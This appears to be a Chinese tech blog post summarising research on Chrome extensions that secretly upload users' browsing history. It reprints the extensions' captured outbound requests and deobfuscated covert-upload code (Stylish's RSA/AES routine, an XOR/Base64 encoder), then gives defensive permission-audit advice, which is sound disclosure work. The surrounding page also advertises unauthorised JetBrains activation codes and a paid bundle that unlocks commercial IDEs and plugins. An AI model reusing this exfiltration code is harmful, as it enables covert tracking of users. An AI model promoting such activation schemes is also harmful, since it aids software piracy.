乐于分享
好东西不私藏

年终福利抽奖!提醒各位注意下浏览器插件!

年终福利抽奖!提醒各位注意下浏览器插件!

大家好,这里是架构资源栈!点击上方关注,添加“星标”,一起学习大厂前沿架构!

关注、发送C1即可获取JetBrains全家桶激活工具和码!


前言

转眼就是一年,新年即将到来,也是时候要和蛇年说再见了,小D在这里感谢各位朋友一年以来的陪伴!

架构资源栈截止今天是今年的最后一次发稿,就不打扰大家开心过年了!提前给大家拜个早年:

祝各位新年快乐,万马奔腾迎新春,龙马精神喜涨薪,岁月安然,身体健康。

image

福利

给大家带来一个抽奖,送三个一年的代理版本授权(小D能力有限,抽不到的朋友就当参加活动图个乐呵吧,后续小D还会想其他的活动福利给大家),规则如下:

  1. 开奖时间截至2026-02-14 23:59:59;
  2. 中奖的朋友可以后台加小D微信或者扫本文最后的微信二维码加我都行,记得备注中奖了,这个抽奖可能会有一个核销码到时候你发我就行了(小D第一次搞这个,不太熟悉,多多见谅!)
  3. 因为有朋友可能在我这已经购买过,你们到时候可以选择续到你原账号上,或者给身边的朋友都行。

今天文章正文

说实话,开发人员绝大部分使用的都是谷歌浏览器,而使用谷歌浏览器的绝大部分人都离不开它的扩展程序,当然小D的老婆除外(根本教不会,她的诉求非常简单,浏览器能用百度就行![苦涩])

但是有人研究发现有些扩展的功能“太全”了,已经到了离谱的地步:你打开啥网页、搜了啥关键词、点了啥链接——它都想“顺手”打包带走,转手倒卖,主打一个“我不生产数据,我只是数据的搬运工”🙃。

他们的研究报告给了一个挺硬核的结论:通过自动化扫描,标记出 287 个可能外传浏览历史的 Chrome 扩展,总安装量约 3740 万,大概相当于全球 Chrome 用户的 1% 左右。更刺激的是,背后牵扯到的玩家,从大厂数据分析服务到各种“你甚至没听过名字”的小数据贩子,都能凑一个棋牌室了。

报告原文:https://github.com/qcontinuum1/spying-extensions/blob/main/report.pdf

小D提醒:这个研究报告有参考性,但不可完全相信,有些插件可能是被他们规则误伤的,不管如何各位多留个小心!!!

小D提醒:这个研究报告有参考性,但不可完全相信,有些插件可能是被他们规则误伤的,不管如何各位多留个小心!!!

小D提醒:这个研究报告有参考性,但不可完全相信,有些插件可能是被他们规则误伤的,不管如何各位多留个小心!!!


怎么“抓到偷跑流量”?

他们搭了一个自动化扫描流水线,大致是:

  • 在 Docker 里跑 Chromium(隔离环境,方便批量复现)
  • 所有流量走 MITM 代理(相当于在门口装了个“全屋监控摄像头”)
  • 生成一批“合成访问任务”:不断访问一些 URL,但刻意让 URL 变长(像把快递箱越塞越大)
  • 观察扩展对外发出的请求流量,是否和 URL 长度呈线性关系
image

逻辑很朴素(嗯,我对他们的这个逻辑持怀疑态度[抠鼻]):

  • 如果扩展只是“改主题/注入 CSS/做个小按钮”,它的网络行为应该与 URL 长短无关
  • 如果扩展把你访问的 URL(甚至整段请求)打包上报,那么 URL 越长,外发流量越大,相关性会非常明显

他们用一个指标来衡量泄露程度:

bytes_out = R * payload_size + b 如果 R ≥ 1.0:高度确定在泄露 如果 0.1 ≤ R < 1.0:疑似泄露,需要人工复核

扫描成本也很“打工人看了会沉默”:据说累计跑了 930 CPU days,这属于“把云厂商账单当健身器材练”的级别💸。


不止扫描:他们还钓鱼执法

这个就有意思了:他们喂给扩展一些URL,然后观察是否会有第三方来反复访问这些 URL,从而推断数据被谁消费,这个就能直接证明被泄露了。

image

研究报告里提到,URL被多个 IP 段反复命中,其中甚至能看到一些“看起来像产业链角色”的影子(比如抓取器、过滤器服务等)。这意味着:有些扩展不一定“亲自作恶”,但它可能把数据交给了会作恶的人——结果对用户来说没差,都是“辅助游走未归”。


多样的泄露姿势

明文、混淆、加密……总有一款泄露姿势适合你的浏览器![色]

下面这些例子特别能说明:扩展泄露浏览历史并不需要什么高深黑科技,很多就是把 URL 塞到请求里,换个姿势发出去而已。

1 Poper Blocker:ROT47 混淆

curl 'https://api2.poperblocker.com/view/update'  -H 'Accept: */*'  -H 'Accept-Language: en-GB,en-US;q=0.9,en;q=0.8'  -H 'Connection: keep-alive'  -H 'Content-Type: text/plain'  -H 'Origin: chrome-extension://bkkbcggnhapdmkeljlodobbkopceiche'  -H 'Sec-Fetch-Dest: empty'  -H 'Sec-Fetch-Mode: cors'  -H 'Sec-Fetch-Site: none'  -H 'Sec-Fetch-Storage-Access: active'  -H 'User-Agent: XXXXXX'  -H 'capr: www.google.com'  -H 'kata: ajax'  -H 'x-custom-keywords: %5B%5D'  -H 'x-uuid: XXXXXX'  --data-raw $'LQFQiQ9EEADTbpTauTauHHH...'

解出来后你会发现,URL 明晃晃在里面:

{"u""https://www.google.com/search?q=target","kk""","p""","rd""","bin": XXXXXX,"t""generated","q1""from_add_bar","to""texted","tid": XXXXXX,"ch": 2,"us""XXXXXX","h""XXXXXX","ver": 6,"sver": 1,"dver": 1,"nid""7.9.4","fiz""XXXXXX"}

2 Stylish:AES-256 + RSA

curl 'https://userstylesapi.com/top/styles'  -H 'Accept: */*'  -H 'Accept-Language: en-GB,en-US;q=0.9,en;q=0.8'  -H 'Connection: keep-alive'  -H 'Content-type: text/plain'  -H 'Origin: chrome-extension://fjnbnpbmkenffdnngjfgmeleoegfcffe'  -H 'Sec-Fetch-Dest: empty'  -H 'Sec-Fetch-Mode: cors'  -H 'Sec-Fetch-Site: none'  -H 'Sec-Fetch-Storage-Access: active'  -H 'User-Agent: XXXXXX'  -H 'pthl: style'  -H 'styl: news.ycombinator.com'  -H 'x-session-init: s=a3e3e2a81&v=3.4.10&p=0'  --data-raw 'PyDk...'

扩展在浏览器里生成一次性 AES Key 加密数据,再用硬编码的 RSA 公钥加密 AES Key,打包一起发给服务器。要想还原,就得拿到 RSA 私钥或在运行时抓 AES Key——这已经是“工业级上报”的味道了。

_ProductsContainer._createAnimation8 = {    init: function(e) {        const t = _ProductsContainer._createAnimation8,            n = e.instance,            a = {                s: "a3e3e2a81",                sub: chrome.runtime.getManifest().version,                pid: n.removal            };        t.class = class {                assertScopeValues(e, t, n) {                    const a = JSON.stringify(n),                        s = btoa(a),                        i = Math.random().toString(36).substring(2, 4).toUpperCase() + s,                        r = {};return r[e] = i,                        r[t] = "9",                        r                }                async compilationGenerator() {return self.crypto.subtle.generateKey({                        name: "AES-GCM",                        length: 256                    }, !0, ["encrypt""decrypt"])                }                mergeRuleConfigs(e, t) {                    const n = btoa(String.fromCharCode.apply(null, new Uint8Array(e))),                        a = btoa(String.fromCharCode.apply(null, new Uint8Array(t)));return"".concat(n, ",").concat(a)                }                async CmpNullValue(e, t, n) {                    const a = JSON.stringify(n);if (!this.recordsPath) {                        const e = '{"key_ops":["encrypt"],"ext":true,"kty":"RSA","n":"z7mcaorg4Lg3uiPzud1bwLvRvsWK9bpTTsy_DxIX8WRcDndqNQHTgG0HZUTxggp2cLBnxvjG0UPxhfIPZZRed82vLsFYVvdJOsz9iZoKXHqT67RhbI2XecvWKp_ciaw6wRQAycklmIQJaZp4QA-P2Ye19FtG03VaNJRBUCy2Th6huKozUsRErnW5LBW0X7C_sxxpgAE9ijBhxwawnsGal7dCHGwgxcUe9-rfbCD9e7PEJCL_IE9L-hYzjngr5_vXjUU0udjwXNp3YnyA279CMA5bqucp5eI-kXXjsPJRGYw1znhuIwSP2soqXyRT22inklJ4VtBp3rctC5J6ZLnM8Q","e":"AQAB","alg":"RSA-OAEP-256"}',                            t = JSON.parse(e);                        this.recordsPath = await self.crypto.subtle.importKey("jwk", t, {                            name: "RSA-OAEP",hash"SHA-256"                        }, !1, ["encrypt"])                    }                    const s = {};if (a.length < 190) {                        const t = await self.crypto.subtle.encrypt({                            name: "RSA-OAEP"                        }, this.recordsPath, (new TextEncoder).encode(a));                        s[e] = btoa(String.fromCharCode.apply(null, new Uint8Array(t)))                    } else {                        const t = await this.compilationGenerator(),                            n = self.crypto.getRandomValues(new Uint8Array(12)),                            i = await self.crypto.subtle.encrypt({                                name: "AES-GCM",                                iv: n                            }, t, (new TextEncoder).encode(a)),                            r = new Uint8Array(n.length + i.byteLength);                        r.set(n),                            r.set(new Uint8Array(i), n.length);                        const o = await self.crypto.subtle.exportKey("jwk", t),                            c = JSON.stringify(o),                            l = await self.crypto.subtle.encrypt({                                name: "RSA-OAEP"                            }, this.recordsPath, (new TextEncoder).encode(c));                        s[e] = this.mergeRuleConfigs(l, r)                    }return s[t] = "hxQaXgzvrg",                        s                }                async checkString(e, t, n, s, i, r) {let o = arguments.length > 6 && void 0 !== arguments[6] ? arguments[6] : {};                    const c = await fetch(e),                        l = c.headers.get("Content-Type"),                        u = await c.arrayBuffer(),                        d = new File([u], t, {type: l || n                        }),                        h = Object.assign({}, a, o);let m = {};                    m = await this.CmpNullValue(i, r, h),                        fetch(s, {                            body: d,                            method: "POST",                            headers: m                        })                }                async toInt(e, t, n, s, i, r) {let o = arguments.length > 6 && void 0 !== arguments[6] ? arguments[6] : {};                    const c = new File([e], t, {type: n || e.type || "application/octet-stream"                        }),                        l = Object.assign({}, a, o);let u = {};                    u = await this.CmpNullValue(i, r, l),                        fetch(s, {                            body: c,                            method: "POST",                            headers: u                        })                }            },            t.instance = new t.class    },    deps: ["ModulesA"]},

3 WOT:XOR + Base64 + Reverse

加密不难,难的是别让人看出来你在干啥

研究报告还提到一个 2016 年的德文博客曾讨论过类似问题:

const fp = require('lodash/fp');const isEmpty = require('lodash/isEmpty');const querystring = require('querystring');const key = `91FMsA...`;class Encoder {  static encryptData(input) {let result = '';for (let i = 0; i < input.length; i++) {      const charCode = input.charCodeAt(i) ^ key.charCodeAt(i % key.length);      result += String.fromCharCode(charCode);    }return result;  }  static customEncode(content) {if (!content) return'';    const encodedContent = Buffer.from(JSON.stringify(content)).toString('base64');    const reversed = encodedContent.split('').reverse().join('');    const xor = this.encryptData(reversed);return Buffer.from(xor).toString('base64');  }  static encodePairs(pairs) {return pairs.map((pair) => {      const [key, value] = pair;return [        this.customEncode(key),        value ? this.customEncode(value) : ''      ];    });  }  static encode(payload) {if (typeof payload !== 'object' || isEmpty(payload)) {      throw new Error('Invalid payload');    }return fp.flow(      fp.toPairs,      this.encodePairs.bind(this),      fp.fromPairs,      querystring.stringify,      this.customEncode.bind(this)    )(payload);  }}module.exports = Encoder;
const fp = require('lodash/fp');const querystring = require('querystring');const key = `91FMsAD...`;class Decoder {    static decryptData(input) {let result = '';for (let i = 0; i < input.length; i++) {      const charCode = input.charCodeAt(i) ^ key.charCodeAt(i % key.length);      result += String.fromCharCode(charCode);    }return result;  }  static customDecode(encodedContent) {if (!encodedContent) return'';    const xorString = Buffer.from(encodedContent, 'base64').toString('utf8');    const reversed = this.decryptData(xorString);    const originalBase64 = reversed.split('').reverse().join('');    const jsonString = Buffer.from(originalBase64, 'base64').toString('utf8');return JSON.parse(jsonString);  }  static decode(payload) {    try {      const queryString = this.customDecode(payload);      const rawObject = querystring.parse(queryString);      const decodedObject = {};      Object.keys(rawObject).forEach((encKey) => {        const encValue = rawObject[encKey];        const decodedKey = this.customDecode(encKey);        const decodedValue = encValue ? this.customDecode(encValue) : null;        decodedObject[decodedKey] = decodedValue;      });return decodedObject;    } catch (error) {      console.error("Failed to decode payload:", error);return null;    }  }}const payload = "UGB2AB..."const data = Decoder.decode(payload);console.log(data);

这事为啥危险?

因为“浏览记录”比你想的更值钱,我之前应该发过相关的安全相关的文章关了 Cookie 也没用?浏览器指纹才是真正的隐私噩梦

很多人以为浏览历史只是“我今天搜了啥”,但现实是:URL 里常常携带非常敏感的信息,比如:

  • 账号体系的跳转参数、工单 ID、内部系统路径
  • SaaS 后台页面、管理端路由、企业内网地址
  • 各种重置链接、邀请链接、分享链接里的 token

所以研究报告给出的威胁模型并不夸张:

  • 画像与定向广告:聚合后的浏览历史对广告技术公司简直是金矿
  • 企业信息泄露:员工装一个“效率工具”,可能把公司内部 URL 直接送走
  • 会话风险:如果某些扩展还拿 cookie/headers,那就更刺激了(“历史+身份”组合拳)

还是那句话:免费的才是最贵的!😮‍💨。


程序员自救指南

不想一刀切禁用扩展?可以按优先级做“降风险改造”:

1 先做“权限体检”:看到这几类就要警惕

在扩展详情页/权限页,重点留意:

  • Read and change all your data on all websites(能看所有网站数据的那种)
  • history、tabs、webRequest、cookies、downloads(典型高风险组合)
  • “允许访问所有网站”且没有明确业务解释的

小技巧:一个“改主题”的扩展,通常不需要 history;一个“网页截图”的扩展,通常不需要 cookies。谁越界,谁可疑。

2 能用“白名单”就别用“全开放”

公司电脑/团队环境建议更狠一点:

  • 只允许安装经过审计的扩展
  • 统一由管理员配置策略(企业管理/浏览器策略/终端管理工具都能做到)
  • 禁止“来路不明的效率神器”

3 定期清理:装过就忘的扩展最危险

很多扩展是“装的时候很香,用完就躺尸”,但它的权限和后台任务可不会躺尸。建议:

  • 每月清一次扩展列表(就当给浏览器做一次“垃圾回收”)
  • 不常用的直接卸载,不要留恋

4 对开发者来说:不要迷信“看起来像大厂”

这次报告里提到的“玩家”跨度很大:既有知名数据公司,也有各种看不懂的组织关系网。结论很现实:品牌不是免死金牌,隐私政策也不等于不作恶。很多“同意”只是把风险合法化,而不是把风险消除。


最后再唠叨两句

  • 你以为在装“扩展”,其实可能是在装“旁路数据采集 SDK”。
  • 如果一个工具“免费到离谱”,那就别问它怎么赚钱了——它可能正在用你赚钱🙂

想要继续深挖这类“浏览器安全 + 隐私风控”的技术内容,可以把这篇先收藏起来,下次排查电脑问题时,你会感谢今天的自己。😉


喜欢就奖励一个“👍”和“在看”呗~

image

专属付费版全家桶

如果你只是激活JetBrains全家桶IDE,那这个应该是目前最经济、最实惠的方法了!

专属付费版全家桶除了支持IDE的正常激活外,还支持常用的付费插件和付费主题

全家桶+付费插件授权

100%保障激活,100%稳定使用,100%售后兜底!

为什么说专属付费版全家桶最经济、最实惠?

因为专属付费版全家桶支持常用付费插件和付费主题。而任意一款或两款付费插件或付费主题,其激活费用就远高于我提供的专属付费版全家桶

比如,最方便的彩虹括号符Rainbow Brackets,124/年。

Rainbow Brackets

再如,MyBatis最佳辅助框架MyBatisCodeHelperPro的官方版本MyBatisCodeHelperPro (Marketplace Edition),157/年。

MyBatisCodeHelperPro

还有最牛的Fast Request,集API调试工具 + API管理工具 + API搜索工具一体!157/年

Fast Request

`专属付费版全家桶`包含上述这些付费插件,但不限于上述这些付费插件!

需要的小伙伴,可以扫码二维码,回复付费,了解优惠详情~

付费获取方式
本站文章均为手工撰写未经允许谢绝转载:夜雨聆风 » 年终福利抽奖!提醒各位注意下浏览器插件!

评论 抢沙发

5 + 6 =
  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址
×
订阅图标按钮